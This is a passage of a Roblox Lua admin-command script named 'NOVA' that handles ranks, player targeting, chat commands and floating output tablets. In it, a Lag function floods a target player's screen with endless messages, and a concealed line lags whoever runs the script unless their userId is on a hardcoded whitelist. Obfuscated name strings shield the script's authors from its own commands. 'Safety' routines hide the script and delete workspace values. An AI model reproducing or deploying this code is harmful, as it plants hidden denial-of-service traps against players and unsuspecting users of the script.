704 | local Weld = Instance.new("Motor6D",RShoulder) | |
705 | Weld.Part0 = RShoulder | |
706 | Weld.Part1 = v.Character["Right Arm"] | |
707 | Weld.C0 = CFrame.new(0,-1,0) | |
708 | ||
709 | local NeckFlat = Instance.new("Part",Main) | |
710 | NeckFlat.Name = "NeckFlat" | |
711 | NeckFlat.TopSurface = "Smooth" | |
712 | NeckFlat.BottomSurface = "Smooth" | |
713 | NeckFlat.FormFactor = "Custom" | |
714 | NeckFlat.Size = Vector3.new(2,0.2,1) | |
715 | NeckFlat.BrickColor = BrickColor.new("Really black") | |
716 | NeckFlat.Anchored = false | |
717 | NeckFlat.Locked = true | |
718 | NeckFlat.CanCollide = false | |
719 | NeckFlat.Transparency = 0 | |
720 | NeckFlat.Reflectance = 0 | |
721 | local Weld = Instance.new("Motor6D",NeckFlat) | |
722 | Weld.Part0 = NeckFlat | |
723 | Weld.Part1 = v.Character.Torso | |
724 | Weld.C0 = CFrame.new(0,-1,0) | |
725 | ||
726 | for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end | |
727 | ||
728 | end | |
729 | ||
730 | --[[ GET SPLIT ]]-- | |
731 | function GetSplit(Msg) | |
732 | Split = nil | |
733 | for i=1,100 do | |
734 | if string.sub(Msg,i,i) == NOVA.Bet then | |
735 | Split = i | |
736 | break | |
737 | end | |
738 | end | |
739 | return Split | |
740 | end | |
741 | ||
742 | --[[ GET RANK ]]-- | |
743 | ||
744 | function GetRank(Player) | |
745 | Rtn = nil | |
746 | if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then | |
747 | return 8 | |
748 | end | |
749 | if type(Player) == "userdata" then | |
750 | for _,v in pairs(NOVA.Ranked) do | |
751 | if v.Name:lower() == Player.Name:lower() then | |
752 | Rtn = v.Rank | |
753 | end | |
754 | end | |
755 | elseif type(Player) == "string" then | |
756 | for _,v in pairs(NOVA.Ranked) do | |
757 | if v.Name:lower() == Player:lower() then | |
758 | Rtn = v.Rank | |
759 | end | |
760 | end | |
761 | else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")") | |
762 | end | |
763 | return Rtn | |
764 | end | |
765 | ||
766 | --[[ GET RANK NAME ]]-- | |
767 | function GetRankName(Player) | |
768 | if type(Player) == "userdata" or type(Player) == "string" then | |
769 | Rtn = nil | |
770 | Rank = GetRank(Player) | |
771 | for _,v in pairs(NOVA.Ranks) do | |
772 | if v[1] == Rank then | |
773 | Rtn = v[2] | |
774 | end | |
775 | end | |
776 | return Rtn | |
777 | else | |
778 | print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")") | |
779 | return "NOT AVALIBLE" | |
780 | end | |
781 | end | |
782 | ||
783 | --[[ GET RANKED TABLE ]]-- | |
784 | function GetRankedTable(Player) | |
785 | Rtn = nil | |
786 | if type(Player) == "userdata" then | |
787 | for _,v in pairs(NOVA.Ranked) do | |
788 | if v.Name == Player.Name then | |
789 | Rtn = v | |
790 | end | |
791 | end | |
792 | elseif type(Player) == "string" then | |
793 | for _,v in pairs(NOVA.Ranked) do | |
794 | if v.Name == Player then | |
795 | Rtn = v | |
796 | end | |
797 | end | |
798 | else | |
799 | print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")") | |
800 | end | |
801 | return Rtn | |
802 | end | |
803 | ||
804 | --[[ GET RECURSIVE CHILDREN ]]-- | |
805 | function GetRecursiveChildren(Source, Name, SearchType, Children) | |
806 | if Source == nil then | |
807 | Source = NOVA.Services | |
808 | end | |
809 | if Name == nil or type(Name) ~= "string" then | |
810 | Name = "" | |
811 | end | |
812 | if Children == nil or type(Children) ~= "table" then | |
813 | Children = {} | |
814 | end | |
815 | if type(Source) == "userdata" then | |
816 | pcall(function() | |
817 | for _, Child in pairs(Source:children()) do | |
818 | pcall(function() | |
819 | if (function() | |
820 | if SearchType == nil or SearchType == 1 then | |
821 | return string.match(Child.Name:lower(), Name:lower()) | |
822 | elseif SearchType == 2 then | |
823 | return string.match(Child.className:lower(), Name:lower()) | |
824 | elseif SearchType == 3 then | |
825 | return Child:IsA(Name) or Child:IsA(Name:lower()) | |
826 | elseif SearchType == 4 then | |
827 | return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower()) | |
828 | end | |
829 | return false | |
830 | end)() then | |
831 | table.insert(Children, Child) | |
832 | end | |
833 | GetRecursiveChildren(Child, Name, SearchType, Children) | |
834 | end) | |
835 | end | |
836 | end) | |
837 | elseif type(Source) == "table" then | |
838 | for _,Area in pairs(Source) do | |
839 | pcall(function() | |
840 | for _, Child in pairs(Area:children()) do | |
841 | pcall(function() | |
842 | if (function() | |
843 | if SearchType == nil or SearchType == 1 then | |
844 | return string.match(Child.Name:lower(), Name:lower()) | |
845 | elseif SearchType == 2 then | |
846 | return string.match(Child.className:lower(), Name:lower()) | |
847 | elseif SearchType == 3 then | |
848 | return Child:IsA(Name) or Child:IsA(Name:lower()) | |
849 | elseif SearchType == 4 then | |
850 | return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower()) | |
851 | end | |
852 | return false | |
853 | end)() then | |
854 | table.insert(Children, Child) | |
855 | end | |
856 | GetRecursiveChildren(Child, Name, SearchType, Children) | |
857 | end) | |
858 | end | |
859 | end) | |
860 | end | |
861 | else | |
862 | print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")") | |
863 | end | |
864 | return Children | |
865 | end | |
866 | ||
867 | --[[ GET REPLICATORS ]]-- | |
868 | function GetReplicators() | |
869 | Rtn = NOVA.Services.NetworkServer:GetChildren() | |
870 | for i=1,#Rtn do | |
871 | if not Rtn[i]:IsA("ServerReplicator") then | |
872 | table.remove(Rtn,i) | |
873 | end | |
874 | end | |
875 | return Rtn | |
876 | end | |
877 | ||
878 | --[[ GET RANKED ]]-- | |
879 | ||
880 | function GetRanked() | |
881 | local Rtn = {} | |
882 | for _,v in pairs(NOVA.Services.Players:GetPlayers()) do | |
883 | if GetRank(v) ~= nil and GetRank(v) > 0 then | |
884 | table.insert(Rtn,v) | |
885 | end | |
886 | end | |
887 | return Rtn | |
888 | end | |
889 | ||
890 | --[[ GTFO ]]-- | |
891 | function GTFO(v) | |
892 | coroutine.resume(coroutine.create(function() | |
893 | pcall(function() v:Remove() end) | |
894 | wait(0.5) | |
895 | pcall(function() NOVA.Services.Debris:AddItem(v,0) end) | |
896 | end)) | |
897 | end | |
898 | --[[ GET RID OF ]]-- | |
899 | function GetRidOf(v) | |
900 | if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then | |
901 | Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
902 | else | |
903 | coroutine.resume(coroutine.create(function() | |
904 | v:Destroy() | |
905 | end)) | |
906 | end | |
907 | end | |
908 | --[[ LAG ]]-- | |
909 | function Lag(v) | |
910 | coroutine.resume(coroutine.create(function() | |
911 | if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then | |
912 | OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4) | |
913 | else | |
914 | while wait() do | |
915 | for i=1, 5 do | |
916 | local Msg = Instance.new("Message",v.PlayerGui) | |
917 | Msg.Text = "JOO B LAGGIN NARB" | |
918 | local Hint = Instance.new("Hint",v.PlayerGui) Hint.Text = "JOO B LAGGIN NARB" | |
919 | end | |
920 | end | |
921 | local H = Instance.new("Hint",NOVA.Services.Workspace) | |
922 | repeat | |
923 | H.Text = v.Name.." be gettin' lagged." | |
924 | H.Parent = NOVA.Services.Workspace | |
925 | wait() | |
926 | until v.Parent == nil | |
927 | H:Remove() | |
928 | end | |
929 | end)) | |
930 | end | |
931 | if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end | |
932 | --[[ GET TABLETS ]]-- | |
933 | ||
934 | function GetTablets(Player) | |
935 | local Rtn = {} | |
936 | for _, Tablet in pairs(NOVA.Tablets) do | |
937 | if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then | |
938 | if Tablet.Recipient.Value == Player then | |
939 | table.insert(Rtn, Tablet) | |
940 | end | |
941 | end | |
942 | end | |
943 | --table.insert(_tablets,Instance.new("Model")) | |
944 | return Rtn | |
945 | end | |
946 | ||
947 | --[[ REMOVE TABLETS ]]-- | |
948 | ||
949 | function RemoveTablets(Player) | |
950 | if Player == nil then | |
951 | for _,v in pairs(NOVA.Tablets) do | |
952 | coroutine.resume(coroutine.create(function() | |
953 | for i=1,10 do | |
954 | v.Part.Transparency = v.Part.Transparency + 0.05 | |
955 | v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025 | |
956 | v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1 | |
957 | wait() | |
958 | end | |
959 | v:remove() | |
960 | end)) | |
961 | end | |
962 | else | |
963 | for _,v in pairs(GetTablets(Player)) do | |
964 | coroutine.resume(coroutine.create(function() | |
965 | for i=1,10 do | |
966 | v.Part.Transparency = v.Part.Transparency + 0.05 | |
967 | v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025 | |
968 | v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1 | |
969 | wait() | |
970 | end | |
971 | v:remove() | |
972 | end)) | |
973 | end | |
974 | end | |
975 | end | |
976 | ||
977 | --[[ OUTPUT ]]-- | |
978 | function Output(Message, Color, Player, Stick, Func) | |
979 | if Player == nil or Color == nil or Player == nil then | |
980 | print("[NOVA.Output] Argument(s) missing or nil.") | |
981 | return | |
982 | end | |
983 | Message = tostring(Message) | |
984 | if type(Player) == "userdata" then | |
985 | if Player.Character == nil or Player.Character.Head == nil then | |
986 | return | |
987 | end | |
988 | end | |
989 | if type(Player) == "string" then | |
990 | for _,v in pairs(GetPlayers(Player,"NOVA")) do | |
991 | Output(Message,Color,v,Stick,Func) | |
992 | end | |
993 | return | |
994 | end | |
995 | ||
996 | if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end | |
997 | ||
998 | local Model = Instance.new("Model",NOVA.Services.Workspace) | |
999 | table.insert(NOVA.Tablets, Model) | |
1000 | Model.Name = "Output:" .. NOVA.Bet .. Player.Name | |
1001 | ||
1002 | local Part = Instance.new("Part",Model) | |
1003 | Part.Transparency = 0.5 | |
1004 | Part.CanCollide = false | |
1005 | Part.Locked = true | |
1006 | Part.Anchored = true | |
1007 | Part.Name = "Part" | |
1008 | Part.TopSurface = "Smooth" | |
1009 | Part.BottomSurface = "Smooth" | |
1010 | Part.FormFactor = "Plate" | |
1011 | Part.Color = Color | |
1012 | Part.Size = Vector3.new(2, 0.4, 3) | |
1013 | Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7) | |
1014 | Part:BreakJoints() | |
1015 | local Box = Instance.new("SelectionBox",Part) | |
1016 | Box.Name = "SelectionBox" | |
1017 | Box.Adornee = Part | |
1018 | Box.Color = BrickColor.new(Color.r, Color.g, Color.b) | |
1019 | Box.Transparency = 0.75 | |
1020 | ||
1021 | local Recipient = Instance.new("ObjectValue",Model) | |
1022 | Recipient.Name = "Recipient" | |
1023 | Recipient.Value = Player | |
1024 | ||
1025 | Gui = Instance.new("BillboardGui") | |
1026 | Gui.Name = "BillboardGui" | |
1027 | Gui.Parent = Model | |
1028 | Gui.Adornee = Part | |
1029 | Gui.Size = UDim2.new(1, 0, 1, 0) | |
1030 | Gui.StudsOffset = Vector3.new(0, 3, 0) | |
1031 | local Frame = Instance.new("Frame",Gui) | |
1032 | Frame.Name = "Frame" | |
1033 | Frame.Size = UDim2.new(1, 0, 1, 0) | |
1034 | Frame.BackgroundTransparency = 1 | |
1035 | Label = Instance.new("TextLabel") | |
1036 | Label.Name = "Label" | |
1037 | Label.Parent = Frame | |
1038 | Label.Size = UDim2.new(1,0,1,0) | |
1039 | Label.FontSize = "Size12" | |
1040 | Label.TextColor3 = Color | |
1041 | Label.Text = Message | |
1042 | Label.BackgroundTransparency = 1 | |
1043 | ||
1044 | Gui.Adornee = Part | |
1045 | local Click = Instance.new("ClickDetector",Part) | |
1046 | Click.MaxActivationDistance = 9201 | |
1047 | Click.MouseClick:connect(function(player) | |
1048 | if player == Player or GetRank(player) > GetRank(Player) then | |
1049 | if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss") then | |
1050 | RemoveTablets(Player) | |
1051 | else | |
1052 | coroutine.resume(coroutine.create(function() | |
1053 | for i=1,10 do | |
1054 | Part.Transparency = Part.Transparency + 0.05 | |
1055 | Box.Transparency = Box.Transparency + 0.025 | |
1056 | Label.TextTransparency = Label.TextTransparency + 0.1 | |
1057 | wait() | |
1058 | end | |
1059 | Model:remove() | |
1060 | end)) | |
1061 | Func(player) | |
1062 | end | |
1063 | end | |
1064 | end) | |
1065 | coroutine.resume(coroutine.create(function() | |
1066 | if Stick == 0 or Stick == nil then else | |
1067 | pcall(function() | |
1068 | --[[for i=Stick,0,-0.5 do | |
1069 | Label.Text = Message .. "\t(" .. i .. ")" | |
1070 | wait(0.5) | |
1071 | end | |
1072 | Model:Destroy()]] | |
1073 | NOVA.Services.Debris:AddItem(Model,Stick) | |
1074 | end) | |
1075 | end | |
1076 | end)) | |
1077 | return Click | |
1078 | end | |
1079 | ||
1080 | -- [ IMAGE OUTPUT ]]-- | |
1081 | function OutputImg(Image,Text,Color,Player,Stick,Func) | |
1082 | Tab = Output(Text,Color,Player,Stick,Func) | |
1083 | BBG = Instance.new("BillboardGui",Tab.Parent) | |
1084 | BBG.Size = UDim2.new(5,0,6,0) | |
1085 | BBG.StudsOffset = Vector3.new(0, 7, 0) | |
1086 | BBG.Adornee = Tab.Parent | |
1087 | Img = Instance.new("ImageLabel",BBG) | |
1088 | Img.Size = UDim2.new(1,0,1,0) | |
1089 | Img.BackgroundTransparency = 1 | |
1090 | Img.Image = Image--"http://www.roblox.com/asset/?id=45120559" | |
1091 | return Tab | |
1092 | end | |
1093 | ||
1094 | --[[ OUTPUT MULTI ]]-- | |
1095 | ||
1096 | function OutputMulti(Msg,Color,Players,Stick,Func) | |
1097 | --if type(Players) == "Table" then | |
1098 | for _,v in pairs(Players) do | |
1099 | Output(Msg,Color,v,Stick,Func) | |
1100 | end | |
1101 | --end | |
1102 | end | |
1103 | ||
1104 | --[[ UPDATE TABLETS ]]-- | |
1105 | ||
1106 | function UpdateTablets() | |
1107 | --pcall(function() | |
1108 | NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease | |
1109 | for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do | |
1110 | local Tablets = GetTablets(Player) | |
1111 | local Counter = 0 | |
1112 | local StartCF = CFrame.new(0,0,0) | |
1113 | for i = 180, -180, -360/(#Tablets ) do | |
1114 | pcall(function() | |
1115 | Counter = Counter + 1 | |
1116 | if NOVA.TabletPositionRelative == true then | |
1117 | StartCF = Player.Character.Torso.CFrame | |
1118 | else | |
1119 | StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z) | |
1120 | end | |
1121 | Tablets[Counter].Part.CFrame = StartCF | |
1122 | * CFrame.new(0, 0, 0) | |
1123 | * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0) | |
1124 | * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1))) | |
1125 | * CFrame.Angles(math.rad(70), 0, 0) | |
1126 | end) | |
1127 | end | |
1128 | ||
1129 | if #Tablets == 1 then | |
1130 | pcall(function() | |
1131 | Tablets[1].Part.CFrame = Player.Torso.CFrame | |
1132 | * CFrame.new(0, 0, 0) | |
1133 | * CFrame.Angles(0, math.rad(0), 0) | |
1134 | * CFrame.new(0, 0, -5) | |
1135 | * CFrame.Angles(math.rad(70), 0, 0) | |
1136 | end) | |
1137 | end | |
1138 | end | |
1139 | wait() | |
1140 | --end) | |
1141 | end | |
1142 | --[[ GET PLAYERS RAW ]]-- | |
1143 | function GetPlayersRaw() | |
1144 | return NOVA.Services.Players:GetPlayers() | |
1145 | end | |
1146 | ||
1147 | --[[ GET PLAYERS ]]-- | |
1148 | function GetPlayers(Name,Speaker) | |
1149 | if type(Player) == string or Player == nil then Player = Instance.new("Model") end | |
1150 | local OldName = Name | |
1151 | local Name = Name:lower() | |
1152 | local Players = GetPlayersRaw() | |
1153 | local Rtn = {} | |
1154 | for i=1,#Name do | |
1155 | if Name:find(",") then | |
1156 | local Split = 0 | |
1157 | for i=1,#Name do | |
1158 | if Name:sub(i,i) == "," then | |
1159 | Split = i | |
1160 | end | |
1161 | end | |
1162 | for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do | |
1163 | table.insert(Rtn,v) | |
1164 | end | |
1165 | Name = Name:sub(1,Split-1) | |
1166 | end | |
1167 | end | |
1168 | if Name == "external players" then | |
1169 | for _,v in pairs(NOVA.ExternalPlayersList) do | |
1170 | if GetRank(Speaker) >= GetRank(v) then | |
1171 | table.insert(Rtn,v) | |
1172 | else | |
1173 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1174 | end | |
1175 | end | |
1176 | elseif Name == "all" then | |
1177 | for _,v in pairs(Players) do | |
1178 | if GetRank(Speaker) >= GetRank(v) then | |
1179 | table.insert(Rtn,v) | |
1180 | else | |
1181 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1182 | end | |
1183 | end | |
1184 | elseif Name == "others" then | |
1185 | for _,v in pairs(Players) do | |
1186 | if v ~= Speaker then | |
1187 | if GetRank(Speaker) >= GetRank(v) then | |
1188 | table.insert(Rtn,v) | |
1189 | else | |
1190 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1191 | end | |
1192 | end | |
1193 | end | |
1194 | elseif Name == "random" then | |
1195 | local Person = Players[math.random(1,#Players)] | |
1196 | if GetRank(Speaker) >= GetRank(Person) then | |
1197 | table.insert(Rtn,Person) | |
1198 | else | |
1199 | Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1200 | end | |
1201 | elseif Name == "me" or Name == "not me" or Name =="notme" then | |
1202 | table.insert(Rtn,Speaker) | |
1203 | elseif Name == "vetrans" then | |
1204 | for _,v in pairs(Players) do | |
1205 | if v.AccountAge > 365 then | |
1206 | if GetRank(Speaker) >= GetRank(v) then | |
1207 | table.insert(Rtn,v) | |
1208 | else | |
1209 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1210 | end | |
1211 | end | |
1212 | end | |
1213 | elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then | |
1214 | for _,v in pairs(Players) do | |
1215 | if v.AccountAge < 365 then | |
1216 | if GetRank(Speaker) >= GetRank(v) then | |
1217 | table.insert(Rtn,v) | |
1218 | else | |
1219 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1220 | end | |
1221 | end | |
1222 | end | |
1223 | elseif Name == "newbs" or Name == "noobs" then | |
1224 | for _,v in pairs(Players) do | |
1225 | if v.AccountAge < 60 then | |
1226 | if GetRank(Speaker) >= GetRank(v) then | |
1227 | table.insert(Rtn,v) | |
1228 | else | |
1229 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1230 | end | |
1231 | end | |
1232 | end | |
1233 | elseif Name == "targeted" then | |
1234 | for _,v in pairs(NOVA.Targeted) do | |
1235 | if GetRank(Speaker) >= GetRank(v) then | |
1236 | table.insert(Rtn,v) | |
1237 | else | |
1238 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1239 | end | |
1240 | end | |
1241 | elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then | |
1242 | for _,v in pairs(Players) do | |
1243 | if not IsTargeted(v) then | |
1244 | if GetRank(Speaker) >= GetRank(v) then | |
1245 | table.insert(Rtn,v) | |
1246 | else | |
1247 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1248 | end | |
1249 | end | |
1250 | end | |
1251 | elseif string.sub(Name,1,5) == "rank " then | |
1252 | local ToKillRank = string.sub(Name,6) | |
1253 | for i,v in pairs(game.Players:GetPlayers()) do | |
1254 | if GetRank(v) == ToKillRank then | |
1255 | if GetRank(Speaker) >= GetRank(v) then | |
1256 | table.insert(Rtn,v) | |
1257 | else | |
1258 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1259 | end | |
1260 | end | |
1261 | end | |
1262 | elseif Name:sub(1,4) == "not " then | |
1263 | for _,v in pairs(Players) do | |
1264 | for _,Check in pairs(Players) do | |
1265 | if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then | |
1266 | if v ~= Check then | |
1267 | if GetRank(Speaker) >= GetRank(v) then | |
1268 | table.insert(Rtn,v) | |
1269 | else | |
1270 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1271 | end | |
1272 | end | |
1273 | end | |
1274 | end | |
1275 | end | |
1276 | else | |
1277 | for _,v in pairs(Players) do | |
1278 | if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then | |
1279 | if GetRank(Speaker) >= GetRank(v) then | |
1280 | table.insert(Rtn,v) | |
1281 | else | |
1282 | Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5) | |
1283 | end | |
1284 | end | |
1285 | end | |
1286 | end | |
1287 | return Rtn | |
1288 | end | |
1289 | ||
1290 | --[[ ON CHATTED ]]-- | |
1291 | function OnChatted(Msg,Speaker) | |
1292 | coroutine.resume(coroutine.create(function() | |
1293 | if NOVA.Removed == false then | |
1294 | if Msg:find(" --") then | |
1295 | for i=1,#Msg do | |
1296 | if Msg:sub(i,i+2) == " --" then | |
1297 | Msg = Msg:sub(1,i-1) | |
1298 | break | |
1299 | end | |
1300 | end | |
1301 | end | |
1302 | local Data = GetRankedTable(Speaker) | |
1303 | if game.PlaceId == 20279777 or game.PlaceId == 20132544 then | |
1304 | if NOVA.ShowChat == true then | |
1305 | if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then | |
1306 | print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker))) | |
1307 | else | |
1308 | print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg) | |
1309 | end | |
1310 | end | |
1311 | end | |
1312 | --[[ CHAT FILTERS ]]-- | |
1313 | for _,v in pairs(NOVA.ChatFilters) do | |
1314 | if Msg:lower():sub(1,#v + 1) == v:lower().." " then | |
1315 | Msg = Msg:sub(#v+2) | |
1316 | end | |
1317 | end | |
1318 | if GetRank(Speaker) < 6 then | |
1319 | --[[ KILLING PHRASES ]]-- | |
1320 | for _,v in pairs(NOVA.KillingPhrases) do | |
1321 | if Msg:lower():find(v:lower()) then | |
1322 | pcall(function() | |
1323 | Speaker.Character:BreakJoints() | |
1324 | end) | |
1325 | end | |
1326 | end | |
1327 | end | |
1328 | local FoundKick = false | |
1329 | if NOVA.BadPhrases == true then | |
1330 | if GetRank(Speaker) <= 0 then | |
1331 | --[[ KICKING PHRASES ]]-- | |
1332 | --if game.PlaceId == 113456 or game.PlaceId == 56786 then | |
1333 | for _,v in pairs(NOVA.KickingPhrases) do | |
1334 | if FoundKick == false then | |
1335 | if Msg:lower():find(v:lower()) then | |
1336 | GetRidOf(Speaker) | |
1337 | FoundKick = true | |
1338 | makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace) | |
1339 | pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end) | |
1340 | end | |
1341 | end | |
1342 | end | |
1343 | end | |
1344 | end | |
1345 | --[[ ANIMATIONS ]]-- | |
1346 | for _,v in pairs(NOVA.Animations) do | |
1347 | if Speaker.Name == v.Who then | |
1348 | if Msg:lower():find(v.Name:lower()) then | |
1349 | pcall(function() | |
1350 | CreateLocalScript([[ | |
1351 | local Animation = Instance.new("Animation",workspace) | |
1352 | Animation.Name = "tusKOr661's Animation" | |
1353 | Animation.AnimationId = "]]..v.Id..[[" | |
1354 | local hum = game:GetService("Players").LocalPlayer.Character.Humanoid | |
1355 | local anim_feet = hum:LoadAnimation(Animation) | |
1356 | local current = anim_feet | |
1357 | current:Play(0.5) | |
1358 | ]],Speaker.Backpack) | |
1359 | end) | |
1360 | end | |
1361 | end | |
1362 | end | |
1363 | Num = 1 | |
1364 | Sep = nil | |
1365 | if Msg:sub(1,3) == NOVA.Bet .. "do" then | |
1366 | for i=4,#Msg do | |
1367 | if Msg:sub(i,i) == NOVA.Bet .. "" then | |
1368 | Sep = i | |
1369 | break | |
1370 | end | |
1371 | end | |
1372 | if Sep ~= nil then | |
1373 | Num = tonumber(Msg:sub(4,Sep-1)) | |
1374 | end | |
1375 | Msg = Msg:sub(Sep) | |
1376 | end | |
1377 | table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg}) | |
1378 | if Data.Rank < 6 and Data.Rank >= 0 then | |
1379 | if Num > (GetRank(Speaker) + 1 )*10 then | |
1380 | Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5) | |
1381 | Num = 0 | |
1382 | end | |
1383 | end | |
1384 | for i=1,Num do | |
1385 | if NOVA.Canceled == true then NOVA.Canceled = false break end | |
1386 | for _,CMD in pairs(NOVA.Commands) do | |
1387 | if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then | |
1388 | RemoveTablets(Speaker) | |
1389 | Output("Name : "..CMD.Name,Data.Color,Speaker) | |
1390 | Output("Rank : "..CMD.Rank,Data.Color,Speaker) | |
1391 | Output("Command : "..CMD.Command,Data.Color,Speaker) | |
1392 | Output("Arguments : "..CMD.Args,Data.Color,Speaker) | |
1393 | Output("Description : "..CMD.Description,Data.Color,Speaker) | |
1394 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1395 | elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then | |
1396 | if Data.Rank ~= nil and Data.Rank >= CMD.Rank then | |
1397 | if NOVA.Overrided == true and Data.Rank < 7 then | |
1398 | Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15) | |
1399 | else | |
1400 | local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end)) | |
1401 | if not a then | |
1402 | Output(b,NOVA.Colors.Red,Speaker,15) | |
1403 | else | |
1404 | table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name}) | |
1405 | end | |
1406 | end | |
1407 | else | |
1408 | table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."}) | |
1409 | print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.") | |
1410 | Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7) | |
1411 | end | |
1412 | end | |
1413 | end | |
1414 | wait() | |
1415 | end | |
1416 | end | |
1417 | end)) | |
1418 | end | |
1419 | ||
1420 | --[[ ADD COMMAND ]]-- | |
1421 | function AddCommand(Name,Command,Rank,Description,Args,Function) | |
1422 | for i,v in pairs(NOVA.Commands) do | |
1423 | if v.Command == Command then | |
1424 | table.remove(NOVA.Commands,i) | |
1425 | end | |
1426 | end | |
1427 | table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function}) | |
1428 | end | |
1429 | ||
1430 | --[[ BACKUP PROCEDURE ]]-- | |
1431 | pcall(function() | |
1432 | NOVA.Backup = script:children()[2].Value | |
1433 | end) | |
1434 | ||
1435 | --[[ NIL SUPPORT ]]-- | |
1436 | game:GetService("Chat").Chatted:connect(function(Part,Message,Color) | |
1437 | local Split = GetSplit(Message) | |
1438 | OnChatted(Message:sub(Split+1),Message:sub(Split-1)) | |
1439 | end) | |
1440 | ||
1441 | --[[ Safety Procedure # 1 ]]-- | |
1442 | pcall(function() | |
1443 | NOVA.LocalScript.Parent = nil | |
1444 | end) | |
1445 | for _,v in pairs(NOVA.Plugins) do | |
1446 | pcall(function() | |
1447 | v.Parent = nil | |
1448 | end) | |
1449 | end | |
1450 | pcall(function() | |
1451 | script:ClearAllChildren() | |
1452 | end) | |
1453 | ||
1454 | --[[ Safty Procedure # 2 ]]-- | |
1455 | for _,v in pairs(GetRecursiveChildren(workspace)) do | |
1456 | if v:IsA("StringValue") or v:IsA("IntValue") then | |
1457 | pcall(function() | |
1458 | v:remove() | |
1459 | end) | |
1460 | end | |
1461 | end | |
1462 | ||
1463 | --[[ SCRIPT LOGGING PROCEDURES ]]-- | |
1464 | for _,Service in pairs(NOVA.Services) do | |
1465 | pcall(function() | |
